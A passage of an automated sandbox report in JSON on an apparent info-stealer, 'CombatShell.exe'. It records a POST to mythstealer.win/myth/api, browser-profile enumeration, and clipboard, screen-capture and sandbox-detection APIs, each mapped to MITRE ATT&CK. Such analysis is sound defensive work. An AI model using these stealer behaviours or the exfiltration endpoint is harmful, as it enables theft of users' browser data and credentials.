\"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://www.microsoft.com/pkiops/docs/repository.htmax\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://www.microsoft.com0rcv\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://crl.verisign.com/pca3.crl0dr5r\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://crl.verisign.com/pca3.crl0fqyndqi3gi5ltjuz9st8mavn+2sbwlvnkwdob4tn72ixf7zhn1cpxrfdr5r\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'41.3.6.1.4.1.311.10.1241204180014z0/^g(o-cejy\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://microsoft.com0k\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found URL \"http://microsoft.com0\" - Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"}],"origin":"Memory Dumps","attck_id":"T1071","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1071","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"network-72","type":7,"relevance":3,"name":"GETs files from a webserver (HTTPS)","description":"GET / HTTP/1.1\naccept: */*\nhost: api.ipify.org\n","description_v2":["GET / HTTP/1.1","accept: */*","host: api.ipify.org",""],"description_v3":[{"type":"text","value":"GET / HTTP/1.1"},{"type":"linebreak"},{"type":"text","value":"accept: */*"},{"type":"linebreak"},{"type":"text","value":"host: api.ipify.org"}],"origin":"Network Traffic","attck_id":"T1071.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1071/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"network-81","type":7,"relevance":5,"name":"High entropy domain detected","description":"Contacted domain: \"mythstealer.win\" has high entropy","description_v2":["Contacted domain: \"mythstealer.win\" has high entropy"],"description_v3":[{"type":"text","value":"Contacted domain: \"mythstealer.win\" has high entropy"}],"origin":"Network Traffic","attck_id":"T1568.002","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1568/002","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"network-55","type":7,"relevance":1,"name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","description_v2":["Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c"],"description_v3":[{"type":"text","value":"Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c"}],"origin":"Network Traffic","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"network-54","type":7,"relevance":1,"name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","description_v2":["Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]"],"description_v3":[{"type":"text","value":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]"}],"origin":"Network Traffic","attck_id":"T1573","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1573","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"certificate-4","type":17,"relevance":5,"name":"Recently renewed or created SSL certificate","description":"Newly renewed or created SSL certificate: \"mythstealer.win\" (7 days old)","description_v2":["Newly renewed or created SSL certificate: \"mythstealer.win\" (7 days old)"],"description_v3":[{"type":"text","value":"Newly renewed or created SSL certificate: \"mythstealer.win\" (7 days old)"}],"origin":"Certificate Data","attck_id":"T1583.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1583/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"network-66","type":7,"relevance":1,"name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://api.ipify.org/\n Found HTTPS POST request to https://mythstealer.win/myth/api","description_v2":["Found HTTPS GET request to https://api.ipify.org/","Found HTTPS POST request to https://mythstealer.win/myth/api"],"description_v3":[{"type":"text","value":"Found HTTPS GET request to https://api.ipify.org/"},{"type":"linebreak"},{"type":"text","value":"Found HTTPS POST request to https://mythstealer.win/myth/api"}],"origin":"Network Traffic","attck_id":"T1071.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1071/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"certificate-3","type":17,"relevance":5,"name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"api.ipify.org\" (90 days old)\n Short term registered certificate: \"mythstealer.win\" (90 days old)","description_v2":["Short term registered certificate: \"api.ipify.org\" (90 days old)","Short term registered certificate: \"mythstealer.win\" (90 days old)"],"description_v3":[{"type":"text","value":"Short term registered certificate: \"api.ipify.org\" (90 days old)"},{"type":"linebreak"},{"type":"text","value":"Short term registered certificate: \"mythstealer.win\" (90 days old)"}],"origin":"Certificate Data","attck_id":"T1583.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1583/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"summary-27","type":15,"relevance":2,"name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","description_v2":["Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network"],"description_v3":[{"type":"text","value":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network"}],"origin":"Indicator Combinations","attck_id":"T1119","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1119","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"network-38","type":7,"relevance":3,"name":"Uses HTTPS for communication","description":"HTTPS traffic to \"172.67.74.152\" on port \"443\"\n HTTPS traffic to \"172.67.182.176\" on port \"443\"","description_v2":["HTTPS traffic to \"172.67.74.152\" on port \"443\"","HTTPS traffic to \"172.67.182.176\" on port \"443\""],"description_v3":[{"type":"text","value":"HTTPS traffic to \"172.67.74.152\" on port \"443\""},{"type":"linebreak"},{"type":"text","value":"HTTPS traffic to \"172.67.182.176\" on port \"443\""}],"origin":"Network Traffic","attck_id":"T1573","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1573","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Pattern Matching","identifier":"yara-542","type":13,"relevance":5,"name":"YARA signature match - Djb2 Hash Algorithm","description":"YARA signature for Djb2 Hash Algorithm matched on file \"sample.bin\"","description_v2":["YARA signature for Djb2 Hash Algorithm matched on file \"sample.bin\""],"description_v3":[{"type":"text","value":"YARA signature for Djb2 Hash Algorithm matched on file \"sample.bin\""}],"origin":"YARA Signature","attck_id":"T1027","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1027","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Remote Access Related","identifier":"string-531","type":2,"relevance":1,"name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE421C9C61279DBAD75A69B362385E]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00005644.00000000.286803.21F00000.00000004.mdmp, 00000000-00005644.00000001.288725.21F00000.00000004.mdmp, 00000000-00005644.00000002.290644.21F00000.00000004.mdmp\")\n Found string \"F+ncalrpc:[OLE421C9C61279DBAD75A69B362385E]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00005644.00000000.286803.21F00000.00000004.mdmp, 00000000-00005644.00000001.288725.21F00000.00000004.mdmp\")","description_v2":["Found string \"+ncalrpc:[OLE421C9C61279DBAD75A69B362385E]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00005644.00000000.286803.21F00000.00000004.mdmp, 00000000-00005644.00000001.288725.21F00000.00000004.mdmp, 00000000-00005644.00000002.290644.21F00000.00000004.mdmp\")","Found string \"F+ncalrpc:[OLE421C9C61279DBAD75A69B362385E]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00005644.00000000.286803.21F00000.00000004.mdmp, 00000000-00005644.00000001.288725.21F00000.00000004.mdmp\")"],"description_v3":[{"type":"text","value":"Found string \"+ncalrpc:[OLE421C9C61279DBAD75A69B362385E]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00005644.00000000.286803.21F00000.00000004.mdmp, 00000000-00005644.00000001.288725.21F00000.00000004.mdmp, 00000000-00005644.00000002.290644.21F00000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"F+ncalrpc:[OLE421C9C61279DBAD75A69B362385E]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00005644.00000000.286803.21F00000.00000004.mdmp, 00000000-00005644.00000001.288725.21F00000.00000004.mdmp\")"}],"origin":"File/Memory","attck_id":"T1090","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1090","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"api-102","type":6,"relevance":5,"name":"Calls an API typically used for searching a directory for files","description":"$44","description_v2":["\"CombatShell.exe\" called \"FindNextFileW\" with parameter .. (UID: 00000000-00005644)","\"CombatShell.exe\" called \"FindNextFileW\" with parameter 5xz6ua91.default-release (UID: 00000000-00005644)","\"CombatShell.exe\" called \"FindNextFileW\" with parameter lfdjd4n4.default (UID: 00000000-00005644)","\"CombatShell.exe\" called \"FindNextFileW\" with parameter AutofillStates (UID: 00000000-00005644)","\"CombatShell.exe\" called \"FindNextFileW\" with parameter CertificateRevocation (UID: 00000000-00005644)","\"CombatShell.exe\" called \"FindNextFileW\" with parameter chrome_shutdown_ms.txt (UID: 00000000-00005644)","\"CombatShell.exe\" called \"FindNextFileW\" with parameter ClientSidePhishing (UID: 00000000-00005644)","\"CombatShell.exe\" called \"FindNextFileW\" with parameter Crashpad (UID: 00000000-00005644)","\"CombatShell.exe\" called \"FindNextFileW\" with parameter Crowd Deny (UID: 00000000-00005644)","\"CombatShell.exe\" called \"FindNextFileW\" with parameter Default (UID: 00000000-00005644)","\"CombatShell.exe\" called \"FindNextFileW\" with parameter FileTypePolicies (UID: 00000000-00005644)","\"CombatShell.exe\" called \"FindNextFileW\" with parameter First Run (UID: 00000000-00005644)","\"CombatShell.exe\" called \"FindNextFileW\" with parameter FirstPartySetsPreloaded (UID: 00000000-00005644)","\"CombatShell.exe\" called \"FindNextFileW\" with parameter first_party_sets.db (UID: 00000000-00005644)","\"CombatShell.exe\" called \"FindNextFileW\" with parameter first_party_sets.db-journal (UID: 00000000-00005644)","\"CombatShell.exe\" called \"FindNextFileW\" with parameter GraphiteDawnCache (UID: 00000000-00005644)","\"CombatShell.exe\" called \"FindNextFileW\" with parameter GrShaderCache (UID: 00000000-00005644)","\"CombatShell.exe\" called \"FindNextFileW\" with parameter hyphen-data (UID: 00000000-00005644)","\"CombatShell.exe\" called \"FindNextFileW\" with parameter Last Browser (UID: 00000000-00005644)","\"CombatShell.exe\" called \"FindNextFileW\" with parameter Last Version (UID: 00000000-00005644)","\"CombatShell.exe\" called \"FindNextFileW\" with parameter Local State (UID: 00000000-00005644)","\"CombatShell.exe\" called \"FindNextFileW\" with parameter MediaFoundationWidevineCdm (UID: 00000000-00005644)","\"CombatShell.exe\" called \"FindNextFileW\" with parameter MEIPreload (UID: 00000000-00005644)","\"CombatShell.exe\" called \"FindNextFileW\" with parameter Module Info Cache (UID: 00000000-00005644)"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" called \"FindNextFileW\" with parameter .. (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"FindNextFileW\" with parameter 5xz6ua91.default-release (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"FindNextFileW\" with parameter lfdjd4n4.default (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"FindNextFileW\" with parameter AutofillStates (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"FindNextFileW\" with parameter CertificateRevocation (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"FindNextFileW\" with parameter chrome_shutdown_ms.txt (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"FindNextFileW\" with parameter ClientSidePhishing (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"FindNextFileW\" with parameter Crashpad (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"FindNextFileW\" with parameter Crowd Deny (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"FindNextFileW\" with parameter Default (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"FindNextFileW\" with parameter FileTypePolicies (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"FindNextFileW\" with parameter First Run (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"FindNextFileW\" with parameter FirstPartySetsPreloaded (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"FindNextFileW\" with parameter first_party_sets.db (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"FindNextFileW\" with parameter first_party_sets.db-journal (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"FindNextFileW\" with parameter GraphiteDawnCache (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"FindNextFileW\" with parameter GrShaderCache (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"FindNextFileW\" with parameter hyphen-data (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"FindNextFileW\" with parameter Last Browser (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"FindNextFileW\" with parameter Last Version (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"FindNextFileW\" with parameter Local State (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"FindNextFileW\" with parameter MediaFoundationWidevineCdm (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"FindNextFileW\" with parameter MEIPreload (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"FindNextFileW\" with parameter Module Info Cache (UID: 00000000-00005644)"}],"origin":"API Call","attck_id":"T1083","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1083","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"api-103","type":6,"relevance":3,"name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"CombatShell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"CombatShell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"5644\"}\n \"CombatShell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"2\"\n \"th32ProcessID\": \"0\"}","description_v2":["\"CombatShell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"","\"th32ProcessID\": \"0\"}","\"CombatShell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"","\"th32ProcessID\": \"5644\"}","\"CombatShell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"2\"","\"th32ProcessID\": \"0\"}"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\""},{"type":"linebreak"},{"type":"text","value":"\"th32ProcessID\": \"0\"}"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\""},{"type":"linebreak"},{"type":"text","value":"\"th32ProcessID\": \"5644\"}"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"2\""},{"type":"linebreak"},{"type":"text","value":"\"th32ProcessID\": \"0\"}"}],"origin":"API Call","attck_id":"T1057","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1057","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"api-108","type":6,"relevance":3,"name":"Calls an API typically used to retrieve information about the current system","description":"\"CombatShell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}","description_v2":["\"CombatShell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}"}],"origin":"API Call","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"api-135","type":6,"relevance":2,"name":"Calls an API typically used to retrieve user name","description":"\"CombatShell.exe\" called \"GetUserNameW\" (UID: 00000000-00005644)\n \"CombatShell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}","description_v2":["\"CombatShell.exe\" called \"GetUserNameW\" (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" called \"GetUserNameW\" (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}"}],"origin":"API Call","attck_id":"T1033","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1033","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-57","type":2,"relevance":3,"name":"Contains CRYPTO related strings","description":"Found string \"[aes\" (Indicator: \"aes\"; Source: \"00000000-00005644.00000000.286803.25C95000.00000004.mdmp, 00000000-00005644.00000001.288725.25C95000.00000004.mdmp, 00000000-00005644.00000002.290644.25C95000.00000004.mdmp\")\n Found string \"ECDSA\" (Indicator: \"ecdsa\"; Source: \"00000000-00005644.00000001.288725.252B0000.00000004.mdmp, 00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.252B0000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")\n Found string \"Microsoft Enhanced RSA and AES Cryptographic Provider\" (Indicator: \"aes\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")\n file/memory contains long string with (Indicator: \"aes\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","description_v2":["Found string \"[aes\" (Indicator: \"aes\"; Source: \"00000000-00005644.00000000.286803.25C95000.00000004.mdmp, 00000000-00005644.00000001.288725.25C95000.00000004.mdmp, 00000000-00005644.00000002.290644.25C95000.00000004.mdmp\")","Found string \"ECDSA\" (Indicator: \"ecdsa\"; Source: \"00000000-00005644.00000001.288725.252B0000.00000004.mdmp, 00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.252B0000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found string \"Microsoft Enhanced RSA and AES Cryptographic Provider\" (Indicator: \"aes\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","file/memory contains long string with (Indicator: \"aes\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"],"description_v3":[{"type":"text","value":"Found string \"[aes\" (Indicator: \"aes\"; Source: \"00000000-00005644.00000000.286803.25C95000.00000004.mdmp, 00000000-00005644.00000001.288725.25C95000.00000004.mdmp, 00000000-00005644.00000002.290644.25C95000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"ECDSA\" (Indicator: \"ecdsa\"; Source: \"00000000-00005644.00000001.288725.252B0000.00000004.mdmp, 00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.252B0000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"Microsoft Enhanced RSA and AES Cryptographic Provider\" (Indicator: \"aes\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"aes\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"}],"origin":"File/Memory","attck_id":"T1027","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1027","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-188","type":2,"relevance":1,"name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; File: \"CombatShell.exe\")\n Found reference to API \"GetClipboardFormatNameW\" (Indicator: \"GetClipboardFormatName\"; File: \"CombatShell.exe\")\n Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; File: \"CombatShell.exe\")\n Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")\n Found reference to API \"GetClipboardFormatNameW\" (Indicator: \"GetClipboardFormatName\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")\n Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; File: \"CombatShell.exe\")","Found reference to API \"GetClipboardFormatNameW\" (Indicator: \"GetClipboardFormatName\"; File: \"CombatShell.exe\")","Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; File: \"CombatShell.exe\")","Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"GetClipboardFormatNameW\" (Indicator: \"GetClipboardFormatName\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetClipboardFormatNameW\" (Indicator: \"GetClipboardFormatName\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetClipboardFormatNameW\" (Indicator: \"GetClipboardFormatName\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1115","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1115","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-78","type":2,"relevance":1,"name":"Contains ability to capture screen (API string)","description":"Found reference to API \"GetDIBits\" (Indicator: \"GetDIBits\"; File: \"CombatShell.exe\")\n Found reference to API \"GetDC\" (Indicator: \"GetDC\"; File: \"CombatShell.exe\")\n Found reference to API \"CreateDCW\" (Indicator: \"CreateDC\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")\n Found reference to API \"GetDIBits\" (Indicator: \"GetDIBits\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")\n Found reference to API \"GetDC\" (Indicator: \"GetDC\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"GetDIBits\" (Indicator: \"GetDIBits\"; File: \"CombatShell.exe\")","Found reference to API \"GetDC\" (Indicator: \"GetDC\"; File: \"CombatShell.exe\")","Found reference to API \"CreateDCW\" (Indicator: \"CreateDC\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"GetDIBits\" (Indicator: \"GetDIBits\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"GetDC\" (Indicator: \"GetDC\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetDIBits\" (Indicator: \"GetDIBits\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetDC\" (Indicator: \"GetDC\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"CreateDCW\" (Indicator: \"CreateDC\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetDIBits\" (Indicator: \"GetDIBits\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetDC\" (Indicator: \"GetDC\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1113","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1113","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"static-132","type":0,"relevance":1,"name":"Contains ability to detect sandbox (imports API)","description":"Found GetCursorPos() in an import section (Source: CombatShell.exe)","description_v2":["Found GetCursorPos() in an import section 